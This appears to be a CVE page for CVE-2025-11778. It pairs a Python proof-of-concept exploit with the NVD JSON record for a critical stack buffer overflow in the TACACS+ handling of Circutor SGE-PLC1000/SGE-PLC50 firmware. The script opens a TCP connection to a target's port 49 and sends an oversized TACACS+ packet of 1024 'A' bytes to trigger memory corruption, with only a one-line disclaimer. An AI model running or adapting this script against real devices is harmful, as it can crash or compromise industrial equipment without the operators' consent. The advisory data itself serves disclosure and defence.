CVE-2025-11778

#!/usr/bin/env python3 """ CVE-2025-11778 PoC - Circutor SGE-PLC TACACSPLUS Stack Buffer Overflow Note: This PoC is for educational and authorized testing purposes only. """ import socket import struct def create_tacacs_packet(): """Create malicious TACACSPLUS packet to trigger buffer overflow""" # TACACS+ header structure version = 0x00 # TAC_PLUS_VERSION type_val = 0x01 # TAC_PLUS_AUTHEN seq_no = 0x01 session_id = 0x12345678 # Overflow payload - 1024 bytes to overflow stack buffer overflow_length = 1024 body = b'A' * overflow_length # TACACS+ header header = struct.pack('!BBHIH', version, type_val, seq_no, session_id, len(body) ) return header + body def send_exploit(target_ip, target_port=49): """Send exploit payload to target device""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: sock.connect((target_ip, target_port)) payload = create_tacacs_packet() sock.send(payload) print(f'[+] Exploit payload sent to {target_ip}:{target_port}') print(f'[+] Payload size: {len(payload)} bytes') return True except Exception as e: print(f'[-] Error: {e}') return False finally: sock.close() if __name__ == '__main__': import sys if len(sys.argv) < 2: print(f'Usage: {sys.argv[0]} <target_ip>') sys.exit(1) target = sys.argv[1] send_exploit(target)

{"cve": {"id": "CVE-2025-11778", "sourceIdentifier": "[email protected]", "published": "2025-12-02T13:15:47.400", "lastModified": "2025-12-03T19:07:08.650", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "Stack-based buffer overflow in Circutor SGE-PLC1000/SGE-PLC50 v0.9.2. This vulnerability allows an attacker to remotely exploit memory corruption through the 'read_packet()' function of the TACACSPLUS implementation."}, {"lang": "es", "value": "Desbordamiento de búfer basado en pila en Circutor SGE-PLC1000/SGE-PLC50 v0.9.2. Esta vulnerabilidad permite a un atacante explotar remotamente la corrupción de memoria a través de la función 'read_packet()' de la implementación de TACACSPLUS."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:circutor:sge-plc1000_firmware:0.9.2:*:*:*:*:*:*:*", "matchCriteriaId": "7E3370BA-F0CD-42E3-BAAE-B2FE3E6D413B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:circutor:sge-plc1000:-:*:*:*:*:*:*:*", "matchCriteriaId": "FFF41215-1018-42DD-9A7E-BBC2E5B4522D"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:circutor:sge-plc50_firmware:0.9.2:*:*:*:*:*:*:*", "matchCriteriaId": "5FE73FE9-C7E7-468D-A73B-0B276A6FE94E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:circutor:sge-plc50:-:*:*:*:*:*:*:*", "matchCriteriaId": "447D1571-5329-422D-8E31-F4964E412FC3"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso-sci/multiple-vulnerabilities-circutor-products-0", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}